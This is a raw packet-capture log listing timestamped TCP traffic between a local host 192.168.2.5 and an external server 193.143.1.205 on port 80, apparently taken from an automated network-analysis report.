Jan 11, 2025 04:12:17.154125929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.154155016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154594898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154620886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154637098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154638052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.154681921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.154726028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154742956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154781103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.154871941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154887915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154902935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154917955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154923916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.154934883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.154968023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.155595064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.155608892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.155637980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.156266928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.161559105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.176316977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.176331997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.176371098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.178234100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.207504034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207539082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207551003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207618952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.207653999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.207669020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207681894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207694054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207705021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207715988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207736015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.207779884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.207890034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207921982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.207947016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.207956076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.208010912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.239304066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239351034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239368916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239381075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239392042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239480972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239495993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239571095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.239572048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.239572048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.239619017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239629984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239641905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239665031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.239685059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.239754915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239767075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239777088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239789009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239803076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.239842892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.239842892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239854097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239864111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239873886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.239877939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.239909887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.270773888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.270813942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.270826101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.270840883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.270908117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.270917892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.270925999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.270953894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271025896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271039009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271049976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271090984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271125078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271136045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271147966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271157026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271162033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271190882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271323919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271336079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271347046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271361113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271363020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271385908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271529913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271542072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271553040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271564007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271572113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271601915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271749973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271761894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271771908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271783113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271789074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271794081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271804094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.271804094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271832943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.271982908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272017956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.272038937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272051096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272061110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272072077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272085905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.272104979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.272262096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272274017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272285938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272294998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272311926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.272324085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272329092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.272336960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272346973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272357941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272373915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.272397041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.272671938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272686005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272722006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.272783041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272794962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272800922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272806883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272813082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272816896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.272865057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.273037910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273050070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273061991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273072958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273083925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.273118019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.273189068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273201942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273212910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273225069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273236036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.273236036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273247004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273257017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273262024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.273268938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273278952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273278952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.273289919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273299932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273308039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.273310900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.273333073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.273350954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.275800943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.275835037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.275846958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.275871038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.275908947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.275945902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276016951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276029110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276041031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276065111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276073933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276087999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276112080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276298046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276310921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276321888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276331902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276338100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276343107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276352882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276354074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276365042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276385069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276411057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276549101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276561022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276572943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276588917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276596069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276607037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276618004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276629925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276633024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276649952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276771069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276782990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276794910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276807070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276809931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276824951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.276945114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.276983976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.277467966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.297363043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.297404051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.297415972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.297441959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.297554970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.297566891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.297578096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.297590017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.297595024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.297617912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.329148054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329174042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329185963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329196930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329207897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329250097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.329279900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.329313993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329324961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329335928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329355001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.329454899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329467058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329478025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329490900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.329513073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.329664946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329675913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329687119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329698086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329708099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329719067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329725981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.329731941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329756021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.329983950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.329994917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.330007076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.330018044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.330024004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.330028057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.330043077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.330070972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.360898018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.360945940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.360956907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.360975027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.360985994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.360995054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361026049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361087084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361099005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361109972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361119032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361123085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361146927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361234903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361244917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361254930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361265898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361277103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361305952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361407042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361418962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361428976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361438990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361444950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361449957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361473083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361500978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361567974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361658096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361668110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361685038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361692905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.361696005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361707926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361717939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.361728907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362004995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362015009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362025023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362029076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362036943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362046003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362046003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362056971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362067938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362072945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362078905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362087965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362096071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362116098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362476110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362483978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362493992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362504959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362514973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362519026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362525940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362536907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362536907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362548113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362556934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362566948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362577915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362579107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362588882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362605095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362611055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362622976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362632990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362634897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362643957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362654924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.362665892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.362689018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363209963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363221884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363233089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363244057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363250971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363255024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363265991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363276958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363286972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363291979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363297939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363322973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363327980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363348961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:12:17.363749027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363760948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:12:17.363771915 CET	80	49704	193.143.1.205	192.168.2.5
